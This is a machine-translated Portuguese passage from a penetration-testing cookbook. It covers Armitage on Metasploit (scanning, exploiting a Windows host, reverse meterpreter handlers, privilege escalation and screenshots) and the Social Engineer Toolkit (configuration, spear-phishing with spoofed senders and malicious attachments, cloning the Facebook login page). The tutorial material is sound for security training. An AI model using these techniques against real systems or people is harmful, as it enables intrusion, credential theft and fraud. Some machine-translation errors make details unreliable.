para obter o melhor dos testes de penetração. Agora vamos mudar nosso foco nas ferramentas de extensão
do Metasploit, que levam os testes de penetração para o próximo nível. Começaremos nosso tour com Armitage,
uma ferramenta baseada em GUI que roda sobre o framework. É uma ferramenta inteligente para o Metasploit que
visualiza alvos, recomenda explorações e expõe os recursos avançados de pós-exploração na estrutura.

Armitage organiza os recursos do Metasploit em torno do processo de hacking. Existem recursos para descoberta,
acesso, pós-exploração e manobra. Os espaços de trabalho dinâmicos de Armitage permitem que você defina e
alterne rapidamente entre os critérios de destino. Use isso para segmentar milhares de hosts em conjuntos de
destino. Armitage também inicia varreduras e importa dados de muitos scanners de segurança.
Armitage visualiza seus alvos atuais, para que você conheça os hosts com os quais está trabalhando e onde
tem sessões. Armitage recomenda explorações e, opcionalmente, executará verificações ativas para informar quais
explorações funcionarão. Se essas opções falharem, use o ataque Hail Mary para liberar a exploração automática
inteligente de Armitage contra seus alvos.
Machine Translated by Google

Trabalhando com Armitage

Uma vez dentro, Armitage expõe ferramentas de pós-exploração incorporadas ao agente meterpreter.
Com o clique de um menu, você aumentará seus privilégios, registrará as teclas digitadas, despejará hashes
de senha, navegará no sistema de arquivos e usará shells de comando.

Portanto, usando o Armitage, podemos facilitar ainda mais nosso processo de teste de penetração por
meio de vários recursos prontos fornecidos pela ferramenta. Portanto, vamos começar nosso capítulo com
o básico da configuração do Armitage com o Metasploit e, posteriormente, analisaremos a varredura de portas,
pré-exploração e pós-exploração com o Armitage.

Começando com Armitage


Vamos começar com um guia básico de configuração para Armitage. Abordaremos a configuração do Armitage
no Windows e BackTrack no Linux. Armitage vem pré-instalado em versões recentes do BackTrack. Para configurar
o Armitage no Windows, podemos baixar o arquivo ZIP de sua página oficial:

http://www.fastandeasyhacking.com/download

Como fazer isso...


Vamos começar configurando o Armitage no BackTrack.

1. Armitage será pré-instalado no BackTrack 5 R2. Ele pode ser iniciado clicando em
Aplicativos na área de trabalho e, em seguida, navegando para Backtrack | Ferramentas de exploração
| Ferramentas de exploração de rede | Estrutura Metasploit | Armitagem.

Você verá uma GUI que solicitará que você configure a conexão. Ele terá o nome de usuário
e a senha padrão como msf e teste, respectivamente. Você pode manter o driver do banco
de dados como postgressql e, finalmente, a string de conexão do banco de dados como
msf3:"8b826ac0"@127.0.0.1:7175/msf3:

212
Machine Translated by Google

Capítulo 9

2. Depois que essas configurações padrão forem concluídas, podemos iniciar a GUI do Armitage clicando em
Iniciar MSF.

Para configurar o Armitage no Windows, existem dois requisitos principais:

Metasploit versão 4.2 e superior


JDK 1.6

3. Você pode baixar o arquivo ZIP do URL mencionado anteriormente, mas também há uma alternativa
simples. Você pode ir para Iniciar | Programas | Estrutura Metasploit | Atualização do quadro. Assim
que a atualização for concluída, ele adicionará automaticamente o Armitage à sua biblioteca Metasploit.

4. Assim que a atualização estiver concluída, o Armitage pode ser iniciado navegando para Iniciar | Programas
| Estrutura Metasploit | Armitagem.

5. Você verá a GUI de conexão que terá valores padrão configurados para Host, Porta, Usuário e Senha. Você
pode simplesmente clicar em Conectar para iniciar o Armitage localmente.

6. Depois de clicar em Conectar, ele solicitará que você inicie o servidor Metasploit RPC. Clique em Sim e
prossiga para a janela principal. Para usar o Armitage em um Metasploit remoto, você pode alterar o
endereço IP de 127.0.0.1 para o IP remoto.

Como funciona...
Armitage funciona criando chamadas RPC para o Metasploit. Depois de clicar em Conectar, você notará uma
mensagem de falha de conexão RPC repetida. A mensagem de erro ocorre porque Armitage continua tentando se
conectar à estrutura Metasploit lançando chamadas RPC e aguarda uma resposta. Depois que a conexão for bem-
sucedida, seremos apresentados à GUI Armitage contendo o console MSF na parte inferior.

213
Machine Translated by Google

Trabalhando com Armitage

Tem mais...
Vamos ver como podemos configurar o Armitage em outros tipos de Linux.

Configurando o Armitage no Linux Configurar o


Armitage sobre o Metasploit no Linux também é simples. Você pode baixar o instalador de seu site oficial ou
simplesmente executar o msfupdate para obter o Armitage no Metasploit versões 4.2 e superiores. Ao trabalhar com
Armitage no Linux, certifique-se de que o banco de dados da estrutura esteja funcionando. Execute o seguinte comando
no terminal para iniciar o PostgreSQL: /etc/init.d/framework-postgres start.

Escaneamento e coleta de informações


Avançando de nossa primeira receita, agora podemos começar a trabalhar com Armitage assim que estiver
funcionando. Nesta receita, começaremos com a etapa mais básica do teste de penetração, ou seja, varredura e
coleta de informações. Vamos executar uma varredura do Nmap no Armitage e ver qual resultado é exibido na GUI.

Preparando-se
Para iniciar uma verificação do Nmap, você pode clicar em Hosts e depois em Nmap Scan, conforme
mostrado na captura de tela a seguir. Vamos fazer uma varredura rápida de detecção do sistema operacional
e ver se algum host está ativo ou não:

214
Machine Translated by Google

Capítulo 9

Dando uma olhada rápida na janela do Armitage, há um painel de pesquisa à esquerda onde podemos pesquisar todos
os diferentes módulos presentes no framework, o que não é tão fácil quando se trabalha com msfconsole. Além disso,
podemos ver o painel MSF Console de onde podemos executar qualquer comando Metasploit que aprendemos até agora.
Portanto, temos o poder da GUI e da linha de comando quando trabalhamos com Armitage.

Como fazer isso...


Para executar a digitalização, siga estas etapas:

1. Para iniciar o processo de varredura, Armitage nos pedirá um IP ou faixa de IP que irá escanear. Forneça um
intervalo de varredura de 192.168.56.1/24 que fará a varredura de toda a rede para nós e retornará as
versões do sistema operacional dos hosts ativos, se for detectável:

2. Uma vez concluída a verificação, ela refletirá todos os hosts ativos e seus possíveis
sistemas operacionais na forma de imagens, conforme mostrado na captura de tela anterior.
Portanto, em nosso caso, existem três hosts ativos, dos quais dois estão executando o Windows enquanto
um está executando o Linux.

215
Machine Translated by Google

Trabalhando com Armitage

3. Agora, nosso próximo passo será coletar mais informações sobre nossos alvos ativos, para que
possamos escolher explorações relevantes para realizar testes de penetração. Clicar com o botão
direito do mouse na imagem do alvo abrirá a opção Serviços . Clicar nele abrirá uma nova guia que
listará as portas abertas e os serviços em execução nessas portas. Dessa forma, podemos reunir
muitas informações relevantes sobre vários alvos com apenas alguns cliques:

Outra coisa importante a observar aqui são as diferentes guias que Armitage cria para cada nova
solicitação. Isso nos ajuda a lidar com vários alvos ao mesmo tempo com facilidade. Podemos
alternar facilmente entre os alvos e obter informações sobre eles. A qualquer momento, se estivermos
com poucas opções no Armitage, podemos ir para a guia Console e experimentar os comandos do
Metasploit diretamente lá. Esta é uma grande vantagem que o Armitage tem sobre o Metasploit. A
manipulação de alvos múltiplos aumenta a eficiência do teste de desempenho.

216
Machine Translated by Google

Capítulo 9

Na próxima receita, começaremos nossa fase de exploração e veremos com que facilidade e rapidez o
Armitage nos fornece explorações e cargas úteis relevantes que podemos aplicar em nossos alvos.

Como funciona...
Armitage importa a funcionalidade Nmap da estrutura Metasploit. Os parâmetros necessários ao Nmap são
passados da GUI do Armitage na forma de instruções para o Metasploit.
Então o Metasploit chama o script Nmap e usa as instruções como parâmetros.

Encontrando vulnerabilidades e atacando alvos


Avançando em nossa receita anterior, veremos aqui como podemos procurar automaticamente por
vulnerabilidades conhecidas para os alvos que descobrimos em nossa varredura do Nmap. Armitage automatiza o
processo de descoberta de exploits para alvos com base em portas abertas e vulnerabilidades existentes no sistema
operacional. Esse processo de automação nem sempre produzirá resultados corretos, pois os exploits pesquisados
dependem totalmente dos resultados retornados da varredura do Nmap. Se a descoberta do sistema operacional for
falsa, o exploit não funcionará.

Preparando-se
Vamos lançar nosso painel Armitage e nos conectar ao Metasploit. Em seguida, inicie a varredura do Nmap para
procurar alvos disponíveis. Cobrimos essas etapas nas duas receitas anteriores. Vamos encontrar vulnerabilidades em
nossos alvos usando Armitage.

Como fazer isso...


Depois que os alvos forem descobertos, Armitage tem uma opção de Ataques que pode procurar explorações
conhecidas com base em portas abertas e vulnerabilidades do sistema operacional para os alvos descobertos. Para
encontrar exploits, clique em Ataques | Encontrar Ataques | Por porta ou por vulnerabilidade.

217
Machine Translated by Google

Trabalhando com Armitage

Como funciona...
Assim que os exploits forem descobertos por Armitage, encontraremos uma opção extra - Atacar clicando com
o botão direito do mouse na imagem de destino. Esta opção reflete diferentes ataques descobertos por Armitage
para aquele alvo específico:

Vamos seguir em frente e explorar nosso alvo Windows. Você pode usar a vulnerabilidade SMB
ms_08_047 netapi para explorar o alvo. Você pode encontrar esse exploit clicando com o botão direito do
mouse no alvo e movendo-se para o menu Ataque | PME | MS_08_047 exploração netapi. Você também pode
marcar a opção Usar uma conexão reversa para obter uma conexão de volta para você assim que a exploração
for executada com sucesso. Na execução bem-sucedida de um exploit, você notará três coisas:

f A imagem do alvo muda para vermelho com relâmpagos ao redor mostrando exploração bem-
sucedida

f Clicar com o botão direito do mouse no alvo nos dá a opção do canal meterpreter

f O msfconsole mostra a abertura da sessão

218
Machine Translated by Google

Capítulo 9

Você pode ver como é fácil explorar um alvo sem passar nenhum comando. A GUI fornece todos os
recursos controlados por comandos no Metasploit. Esta é a razão pela qual Armitage adiciona mais
poder à estrutura. No entanto, um bom conhecimento dos comandos do msfconsole é essencial. Não
podemos depender apenas da GUI. Existem várias funcionalidades do MSF que não podem ser
aproveitadas usando a GUI do Armitage.

Na próxima receita, analisaremos o pós-exploração com Armitage.

Manipulando vários alvos usando a chave de


tabulação
Nas receitas anteriores, vimos como a GUI do Armitage facilita o processo de exploração.
Nesta receita veremos mais uma vantagem do uso do Armitage. Quando estamos lidando com
vários alvos no Metasploit, temos que alternar entre as sessões para gerenciá-los. Esse processo
de alternar entre vários alvos é facilitado ainda mais no Armitage usando diferentes guias.
Vejamos como isso é feito.

219
Machine Translated by Google

Trabalhando com Armitage

Como fazer isso...


Na receita anterior, comprometemos nosso alvo Windows XP. Ainda temos mais dois alvos à nossa disposição.
Podemos explorar nosso Windows 2008 Server clicando com o botão direito nele e selecionando um exploit.
Como alternativa, também podemos iniciar um novo console acessando Exibir | Console.
Isso iniciará um novo console onde podemos usar a linha de comando para comprometer o alvo.

Como funciona...
Vamos configurar um manipulador múltiplo e explorar o alvo usando a vulnerabilidade do lado do cliente.

msf > use exploit/multi/manipulador

msf exploit(handler) > definir payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(manipulador) > exploit

[-] Handler falhou ao vincular a 192.168.56.101:15263

[-] O manipulador falhou ao vincular a 0.0.0.0:15263

[-]Exceção de exploração: O endereço já está em uso (0.0.0.0:15263).

[*] Exploit concluído, mas nenhuma sessão foi criada.

Você pode ver que o comando exploit lançou um erro que não pode vincular um manipulador reverso em
192.168.56.101:15263. Isso ocorre porque já definimos uma conexão reversa nesta porta enquanto exploramos
o alvo do Windows XP. Portanto, teremos que alterar o número da porta e usar o comando exploit novamente.

msf exploit(manipulador) > definir LPORT 1234


LPORT => 1234

msf exploit(manipulador) > exploit

[*] Manipulador reverso iniciado em 192.168.56.101:1234

[*] Iniciando o manipulador de carga...

Agora, assim que a exploração do lado do cliente for executada com sucesso, teremos uma conexão
reversa e teremos relâmpagos contra nosso alvo de 2008 Server.

O importante a observar aqui é que temos guias diferentes para alvos diferentes.
Podemos interagir facilmente com qualquer alvo comprometido alternando entre as guias:

220
Machine Translated by Google

Capítulo 9

Esta é mais uma característica importante do Armitage que facilita o processo de teste de
penetração. Isso pode ser muito benéfico quando estamos lidando com vários alvos em uma rede.

Pós-exploração com Armitage


Na receita anterior, vimos como Armitage pode ser útil para lidar com vários alvos.
Uma vez que os alvos são explorados, nosso próximo passo será realizar várias atividades
pós-exploração. Vamos ver como o Armitage também pode ser útil na fase de pós-exploração.

Preparando-se
Analisaremos nosso alvo Windows XP explorado e veremos como podemos realizar várias
atividades pós-exploração nele.

221
Machine Translated by Google

Trabalhando com Armitage

Como fazer isso...


Uma vez que um alvo foi explorado, podemos seguir várias opções de meterpreter clicando com o botão direito
do mouse em sua imagem. Existem algumas ações de pós-exploração comumente usadas disponíveis para nós,
como acessar, interagir e girar. Podemos realizar várias ações com apenas alguns cliques. Vamos realizar a
primeira e mais essencial fase da pós-exploração - escalonamento de privilégios. Podemos encontrar essa
opção clicando com o botão direito do mouse na imagem de destino e navegando até Meterpreter | Acesso |
Escalar privilégios. Outra atividade interessante de pós-exploração é a captura de tela , que pode ser navegada
em Meterpreter | Explorar | Captura de tela. Uma captura de tela da área de trabalho de destino será exibida
em uma nova guia que pode ser atualizada sempre que você desejar. A captura de tela a seguir demonstra isso:

222
Machine Translated by Google

Capítulo 9

Como funciona...
Você pode ver que a captura de tela foi exibida em uma nova guia com dois botões na parte inferior. O botão
Atualizar exibirá uma nova captura de tela, enquanto o botão Assistir atualizará a captura de tela a cada 10
segundos.

Da mesma forma, você pode experimentar várias opções de pós-exploração "clique para servidor" disponíveis no
Armitage para acelerar o processo de teste de penetração.

Esta foi uma pequena demonstração do uso do Armitage como uma potencial extensão do Metasploit para
acelerar o processo de exploração. O verdadeiro poder do Armitage só pode ser compreendido quando temos o
controle total sobre o Metasploit. Uma combinação de uma poderosa linha de comando com a GUI torna o
Armitage uma ferramenta perfeita para testes de penetração.

Exploração do lado do cliente com Armitage


A exploração do lado do cliente pode ser uma técnica útil para testes de penetração se não conseguirmos
encontrar um sistema operacional vulnerável. Conforme discutido anteriormente no Capítulo 4, Exploração do
lado do cliente e desvio de antivírus, a técnica de exploração do lado do cliente utiliza uma vulnerabilidade em um
aplicativo instalado no sistema de destino, como o Internet Explorer e o Adobe Reader.
Nesta receita, realizaremos uma exploração do lado do cliente baseada em Java usando Armitage no
Windows 7.

Preparando-se
Podemos iniciar nosso teste de penetração iniciando uma varredura simples do Nmap para descobrir o
endereço IP e outras informações sobre nosso alvo.

Como fazer isso...


Para executar uma exploração do lado do cliente, siga estas etapas:

1. No painel esquerdo de Armitage, vá para Exploit | Janelas | Navegador |


java_docbase_bof.

223
Machine Translated by Google

Trabalhando com Armitage

Você será presenteado com várias opções de parâmetros, conforme mostrado na


captura de tela a seguir:

2. O módulo de exploração solicita SRVHOST e o host URI onde teremos que fornecer o endereço IP da
máquina de destino e o URI de solicitação. Todos os outros parâmetros já possuem valores padrão.

3. Após passar os valores dos parâmetros, clique no botão Iniciar para começar
o processo de exploração.

224
Machine Translated by Google

Capítulo 9

Como funciona...
Depois que o botão Iniciar é clicado, a atividade de exploração é refletida na janela do console .
Armitage gerará um local de URI que deve ser executado pelo usuário alvo em seu navegador para iniciar
o ataque. Armitage inicia automaticamente um ouvinte de retorno que espera por uma conexão de volta da
máquina de destino se a exploração for bem-sucedida. Podemos usar diferentes técnicas de engenharia
social para transferir nossa URL maliciosa para o usuário-alvo.

Assim que o ataque for bem-sucedido, observaremos os raios ao redor de nossa imagem de destino na
GUI do Armitage. Ao clicar com o botão direito do mouse no alvo, podemos encontrar diferentes opções
de pós-exploração, como configurar uma sessão meterpreter e fazer login. A captura de tela a seguir
descreve esse cenário:

A resposta de diferentes processos, como a configuração de uma sessão do meterpreter , também pode ser
monitorada na janela Console . Podemos observar o mesmo conjunto de comandos sendo executados no
console que abordamos nos capítulos anteriores. Armitage apenas automatiza todo o processo, fornecendo um
meio de interação baseado em GUI.

225
Machine Translated by Google
Machine Translated by Google

Engenheiro Social
10
Conjunto de ferramentas

Neste capítulo, abordaremos:

f Introdução ao Social Engineer Toolkit (SET)

f Trabalhando com o arquivo de configuração

SET f Vetor de ataque de Spear-phishing


f Vetores de ataque ao site

f Método web multi-ataque

f Gerador de mídia infecciosa

Introdução

A engenharia social é um ato de manipular as pessoas para realizar ações que não pretendem fazer. Um cenário de
engenharia social com base cibernética é projetado para prender um usuário na execução de atividades que podem
levar ao roubo de informações confidenciais ou alguma atividade maliciosa. A razão para o rápido crescimento da
engenharia social entre os hackers é que é difícil quebrar a segurança de uma plataforma, mas é muito mais fácil induzir
o usuário dessa plataforma a realizar atividades maliciosas não intencionais. Por exemplo, é difícil quebrar a segurança
do Gmail para roubar a senha de alguém, mas é fácil criar um cenário de engenharia social onde a vítima pode ser
enganada para revelar suas informações de login enviando uma página de login/phishing falsa .
Machine Translated by Google

Kit de Ferramentas do Engenheiro Social

O Social Engineer Toolkit foi projetado para executar essas atividades enganosas. Assim como temos exploits e
vulnerabilidades para softwares e sistemas operacionais existentes, o SET é um exploit genérico de humanos
para quebrar sua própria segurança consciente. É um kit de ferramentas oficial disponível em www.social-
engineer.org e vem como instalação padrão com o BackTrack 5. Neste capítulo, analisaremos o aspecto dessa
ferramenta e como ela adiciona mais poder ao framework Metasploit. Vamos nos concentrar principalmente na
criação de vetores de ataque e no gerenciamento do arquivo de configuração que é considerado o coração do
SET. Então, vamos mergulhar mais fundo no mundo da engenharia social.

Introdução ao kit de ferramentas do engenheiro social


(DEFINIR)

Vamos começar nossa receita introdutória sobre o SET, onde discutiremos o SET em diferentes
plataformas.

Preparando-se
O SET pode ser baixado para diferentes plataformas em seu site oficial, www.social-engineer. com. Possui a versão
GUI, que roda no navegador, e a versão de linha de comando, que pode ser executada no terminal. Ele vem pré-
instalado no BackTrack, que será nossa plataforma para discussão neste capítulo.

Como fazer isso...


Para iniciar o SET no BackTrack, inicie a janela do terminal e passe o seguinte caminho:

root@bt:~# cd /pentest/exploits/set

root@bt:/ pentest/exploits/set# ./set

Copyright 2012, The Social-Engineer Toolkit (SET)

Todos os direitos reservados.


Selecione no menu:

1) Ataques de Engenharia Social

2) Teste de penetração rápida

3) Módulos de terceiros

228
Machine Translated by Google

Capítulo 10

4) Atualize o Metasploit Framework


5) Atualize o kit de ferramentas do engenheiro social
6) Ajuda, Créditos e Sobre

99) Sair do kit de ferramentas do engenheiro social

Se estiver usando o SET pela primeira vez, você pode atualizar o kit de ferramentas para obter os módulos mais recentes
e corrigir bugs conhecidos. Para iniciar o processo de atualização, passaremos o comando svn update . Assim que o kit de
ferramentas for atualizado, ele estará pronto para uso.

A versão GUI do SET pode ser acessada navegando para Aplicativos | Recuar | Ferramentas de exploração
| Kit de Ferramentas de Engenharia Social | set-web.

Como funciona...
O Social Engineering Toolkit é uma ferramenta de automação baseada em Python que cria um aplicativo orientado
a menus para nós. A execução mais rápida e a versatilidade do Python o tornam a linguagem preferida para o
desenvolvimento de ferramentas modulares como o SET. Também facilita a integração do kit de ferramentas com
servidores da web. Qualquer servidor HTTP de código aberto pode ser usado para acessar a versão do navegador do
SET. O Apache é considerado o servidor preferencial ao trabalhar com o SET.

Trabalhando com o arquivo de configuração SET


Nesta receita, examinaremos de perto o arquivo de configuração SET, que contém valores padrão para diferentes
parâmetros usados pelo kit de ferramentas. A configuração padrão funciona bem com a maioria dos ataques, mas
pode haver situações em que você precise modificar as configurações de acordo com o cenário e os requisitos. Então,
vamos ver quais configurações estão disponíveis no arquivo de configuração.

Preparando-se
Para iniciar o arquivo de configuração, vá para config e abra o arquivo set_config .

root@bt:/ pentest/exploits/set# nano config/set_config

229
Machine Translated by Google

Kit de Ferramentas do Engenheiro Social

O arquivo de configuração será iniciado com algumas instruções introdutórias, conforme mostrado na
captura de tela a seguir:

Como fazer isso...


Vamos ver quais configurações estão disponíveis para nós.

# DEFINA O CAMINHO PARA O METASPLOIT AQUI, POR EXEMPLO /pentest/exploits/framework3

METASPLOIT_PATH=/pentest/exploits/framework3

A primeira definição de configuração está relacionada ao diretório de instalação do Metasploit.


O Metasploit é exigido pelo SET para o funcionamento adequado, pois ele coleta cargas úteis
e exploits da estrutura.

# ESPECIFICAR EM QUAL INTERFACE VOCÊ QUER QUE O ETTERCAP OUÇA, SE NADA


PADRÃO

# EXEMPLO: ETTERCAP_INTERFACE=wlan0

ETTERCAP_INTERFACE=eth0
#

# ETTERCAP HOME DIRECTORY (NECESSÁRIO PARA DNS_SPOOF)

ETTERCAP_PATH=/usr/share/ettercap

Ettercap é um sniffer multiuso para LAN comutada. seção Ettercap

230
Machine Translated by Google

Capítulo 10

pode ser usado para executar ataques de LAN como envenenamento de DNS, spoofing, etc. A configuração SET acima pode ser
usada para definir ettercap ON ou OFF, dependendo da usabilidade. # SENDMAIL ATIVADO OU DESATIVADO PARA SPOOFING
DE ENDEREÇOS DE E-MAIL

ENVIAR=DESATIVADO

O servidor de e-mail sendmail é usado principalmente para falsificação de e-mail. Esse ataque funcionará
apenas se o servidor de e-mail do alvo não implementar a pesquisa reversa. Por padrão, seu valor é definido
como OFF.

A configuração a seguir mostra um dos vetores de ataque mais amplamente usados do SET. Essa
configuração permitirá que você assine um miniaplicativo Java malicioso com seu nome ou com qualquer nome
falso e, em seguida, poderá ser usado para executar um ataque de infecção de miniaplicativo Java baseado em navegador.

# CRIE APPLETS JAVA AUTO-ASSINADOS E SPOOF PUBLISHER NOTE QUE ISSO REQUER
VOCÊ PARA

# INSTALAR ---> USUÁRIOS JAVA 6 JDK, BT4 OU UBUNTU: apt-get install openjdk 6-jdk

# SE NÃO ESTIVER INSTALADO NÃO FUNCIONARÁ. TAMBÉM PODE FAZER apt-get install sun-java6-jdk

SELF_SIGNED_APPLET=DESLIGADO

Discutiremos esse vetor de ataque em detalhes na receita posterior. Esse vetor de ataque também exigirá
que o JDK seja instalado em seu sistema. Vamos definir seu valor como ON , pois discutiremos esse ataque em
detalhes:

SELF_SIGNED_APPLET=ON

# AUTODETECÇÃO DA INTERFACE DE ENDEREÇO IP UTILIZANDO O GOOGLE, ATIVE ISSO SE


VOCÊ QUER

# CONFIGURAR PARA DETECTAR AUTOMATICAMENTE SUA INTERFACE

AUTO_DETECT=ON

O sinalizador AUTO_DETECT é usado pelo SET para descobrir automaticamente as configurações de rede. Isso permitirá
que o SET detecte seu endereço IP se você estiver usando um encaminhamento NAT/porta e permite que você se
conecte à Internet externa.

A configuração a seguir é usada para configurar o servidor web Apache para executar vetores de ataque baseados
na web. É sempre preferível configurá-lo para ON para melhor desempenho de ataque:

# USE APACHE EM VEZ DE SERVIDORES WEB STANDARD PYTHON, ISTO IRÁ AUMENTAR
VELOCIDADE DE

# O VETOR DE ATAQUE

APACHE_SERVER=OFF

# CAMINHO PARA O WEBROOT DO APACHE

231
Machine Translated by Google

Kit de Ferramentas do Engenheiro Social

APACHE_DIRECTORY=/var/www

A configuração a seguir é usada para configurar o certificado SSL durante a execução de ataques da web.
Vários bugs e problemas foram relatados para a configuração WEBATTACK_SSL do SET.
Portanto, é recomendável manter este sinalizador DESLIGADO:

# LIGUE CERTIFICADOS SSL PARA CONFIGURAR COMUNICAÇÕES SEGURAS ATRAVÉS

VETOR WEB_ATTACK

WEBATTACK_SSL=DESLIGADO

A configuração a seguir pode ser usada para criar um certificado autoassinado para ataques na Web, mas haverá uma mensagem
de aviso dizendo "Certificado não confiável". Portanto, é recomendável usar essa opção com sabedoria para evitar alertar o usuário-
alvo:

# CAMINHO PARA O ARQUIVO PEM PARA UTILIZAR CERTIFICADOS COM O VETOR DE ATAQUE DA WEB
(OBRIGATÓRIO)

# VOCÊ PODE CRIAR SEU PRÓPRIO CONJUNTO UTILIZANDO, BASTA LIGAR SELF_SIGNED_CERT

# SE VOCÊ ESTÁ USANDO ESTE FLAG, CERTIFIQUE-SE DE QUE O OPENSSL ESTÁ INSTALADO!

SELF_SIGNED_CERT=DESLIGADO

A seguinte configuração é usada para habilitar ou desabilitar o ouvinte Metasploit assim que o ataque for executado:

# DESABILITA O ESCUTADOR AUTOMÁTICO - DESLIGUE SE NÃO QUISER


METASPLOIT LISTENER NO FUNDO.

AUTOMATIC_LISTENER=ON

A configuração a seguir permitirá que você use o SET como um kit de ferramentas autônomo sem usar as funcionalidades do
Metasploit, mas é sempre recomendável usar o Metasploit junto com o SET para aumentar o desempenho do teste de penetração.

# ISSO IRÁ DESATIVAR A FUNCIONALIDADE SE O METASPLOIT NÃO ESTIVER INSTALADO E


VOCÊ SÓ QUER USAR SETOOLKIT OU RATTE PARA PAYLOADS

# OU OS OUTROS VETORES DE ATAQUE.

METASPLOIT_MODE=ON

Estas são algumas definições de configuração importantes disponíveis para SET. O conhecimento adequado do arquivo de
configuração é essencial para obter controle total sobre o Social Engineer Toolkit.

232
Machine Translated by Google

Capítulo 10

Como funciona...
O arquivo de configuração SET é o coração do kit de ferramentas, pois contém os valores padrão que o SET
escolherá ao executar vários vetores de ataque. Um arquivo SET mal configurado pode levar a erros durante a
operação, por isso é essencial entender os detalhes definidos no arquivo de configuração para obter os melhores
resultados. A seção Como fazer reflete claramente a facilidade com que podemos entender e gerenciar o arquivo de
configuração.

Vetor de ataque de spear phishing


Um vetor de ataque de spear phishing é um cenário de ataque por e-mail usado para enviar e-mails mal-
intencionados para usuários-alvo/específicos. Para falsificar seu próprio endereço de e-mail, você precisará de
um servidor sendmail . Altere a definição de configuração para SENDMAIL=ON. Se você não tiver o sendmail
instalado em sua máquina, poderá baixá-lo digitando o seguinte comando:

root@bt:~# apt-get install sendmail


Lendo listas de pacotes... Concluído

Preparando-se
Antes de avançarmos com um ataque de phishing, é imperativo que saibamos como funciona o sistema de e-mail.

Os servidores de e-mail do destinatário, para mitigar esses tipos de ataques, implementam listas cinzas,
validação de registros SPF, verificação RBL e verificação de conteúdo. Esses processos de verificação garantem
que um determinado e-mail chegou do mesmo servidor de e-mail de seu domínio. Por exemplo, se um endereço de
e-mail falsificado, richyrich@gmail.com chegar do IP 202.145.34.23 , ele será marcado como malicioso, pois esse
endereço IP não pertence ao Gmail. Portanto, para contornar isso, o invasor deve garantir que o IP do servidor não
esteja presente na lista RBL/SURL. Como o ataque de spear phishing depende muito da percepção do usuário, o
invasor deve realizar um reconhecimento do conteúdo que está sendo enviado e garantir que o conteúdo pareça o
mais legítimo possível.

Os ataques de spear phishing são de dois tipos: conteúdo baseado na web e conteúdo baseado em carga útil.

Nos capítulos anteriores já vimos como criar um payload, mas como a maioria dos sistemas de e-mail não
permite executáveis, devemos considerar o uso de diferentes tipos de payloads embutidos no conteúdo HTML do e-
mail; por exemplo, miniaplicativo Java, Flash, PDF ou MS Word/Excel, para citar alguns.

233
Machine Translated by Google

Kit de Ferramentas do Engenheiro Social

Como fazer isso...


O módulo de spear phishing tem três vetores de ataque diferentes à nossa disposição. Vamos analisar cada um
deles.

1) Realize um ataque de e-mail em massa

2) Crie uma carga útil FileFormat

3) Crie um modelo de engenharia social

99) Retorno ao Menu Principal

Passar a opção 1 iniciará nosso ataque de envio em massa. O vetor de ataque começa com a seleção de uma
carga útil. Você pode selecionar qualquer vulnerabilidade da lista de módulos de exploração do Metasploit
disponíveis. Em seguida, seremos solicitados a selecionar um manipulador que possa se conectar de volta ao invasor.
As opções incluirão configurar o servidor vnc ou executar a carga e iniciar a linha de comando e assim por
diante.

As próximas etapas serão iniciar o servidor sendmail , definir um modelo para um formato de arquivo malicioso e
selecionar um ataque único ou em massa:

234
Machine Translated by Google

Capítulo 10

Por fim, você será solicitado a escolher um serviço de e-mail conhecido, como Gmail e Yahoo, ou usar seu próprio
servidor:

1. Use uma conta do Gmail para o seu ataque de e-mail.

2. Use seu próprio servidor ou retransmissão aberta

definir:phishing>1

set:phishing> Do endereço (ex: moo@example.com):bigmoney@gmail.com

set:phishing> Sinalizar esta(s) mensagem(ns) como de alta prioridade? [sim|não]:s

Configurar seu próprio servidor não pode ser muito confiável, pois a maioria dos serviços de e-mail segue
uma pesquisa reversa para garantir que o e-mail tenha sido gerado a partir do mesmo nome de domínio que o
nome do endereço.

Vamos analisar outro vetor de ataque de spear phishing. A criação de uma carga útil de formato de arquivo
é outro vetor de ataque no qual podemos gerar um formato de arquivo com uma vulnerabilidade conhecida e
enviá-lo por e-mail para atacar nosso alvo. É preferível usar vulnerabilidades baseadas no MS Word, pois são
difíceis de detectar se são maliciosas ou não, portanto, podem ser enviadas como anexo por e-mail:

set:phishing> Configurar um ouvinte [sim|não]:y


[-] ***

[-] * AVISO: o suporte a banco de dados foi desativado


[-] ***

Por fim, seremos questionados se queremos configurar um ouvinte ou não. Ele iniciará o ouvinte do
Metasploit e aguardará que o usuário abra o arquivo malicioso e se conecte novamente ao sistema de ataque.

O sucesso dos ataques de e-mail depende do cliente de e-mail que visamos. Portanto, uma análise adequada
desse vetor de ataque é essencial.

Como funciona...
Conforme discutido anteriormente, o vetor de ataque de spear phishing é um vetor de ataque de engenharia
social direcionado a usuários específicos. Um e-mail é enviado da máquina atacante para o(s) usuário(s) alvo.
O e-mail conterá um anexo malicioso que explorará uma vulnerabilidade conhecida na máquina de destino e
fornecerá uma conectividade de shell ao invasor. SET automatiza todo o processo. O principal papel que a
engenharia social desempenha aqui é configurar um cenário que pareça completamente legítimo para o alvo e
enganar o alvo para fazer o download do arquivo malicioso e executá-lo.

235
Machine Translated by Google

Kit de Ferramentas do Engenheiro Social

vetores de ataque ao site

O vetor SET "ataque na web" é uma maneira única de utilizar vários ataques baseados na web para comprometer
a vítima pretendida. É de longe o vetor de ataque mais popular do SET. Funciona de maneira semelhante ao
autopwn do navegador, onde vários ataques (ou específicos) podem ser enviados ao navegador de destino. Possui
os seguintes vetores de ataque:

1. O Método de Ataque Java Applet

2. O método de exploração do navegador Metasploit

3. Método de ataque do coletor de credenciais

4. Método de ataque tabnabbing

5. Man Left in the Middle Método de Ataque

6. Método de Ataque Web Jacking

7. Método Web de ataque múltiplo

8. Retorne ao menu anterior

Aqui nesta receita, discutiremos o vetor de ataque mais popular, o método de ataque do applet Java. Vejamos
como esse ataque é realizado usando SET.

Preparando-se
Para começar com o método de ataque do applet Java, teremos que selecionar a primeira opção.
Em seguida, na próxima etapa, seremos solicitados a escolher uma configuração de página da web.
Podemos escolher modelos personalizados ou clonar um URL completo. Vejamos como a clonagem nos
ajudará a realizar o ataque.

Como fazer isso...

O usuário alvo terá que acessar o site que o pen-tester decidiu clonar.
Portanto, o pen-tester deve entender que o site clonado não deve se desviar da funcionalidade do site real
em relação ao site de phishing.

1. Para começar com a opção de clonagem, teremos que decidir qual URL queremos clonar.
Vamos clonar a página de login do Facebook e prosseguir:
1. Modelos da Web

2. Clonador de sites

3. Importação personalizada
4. Retorne ao menu principal

Digite o número (1-4): 2

236
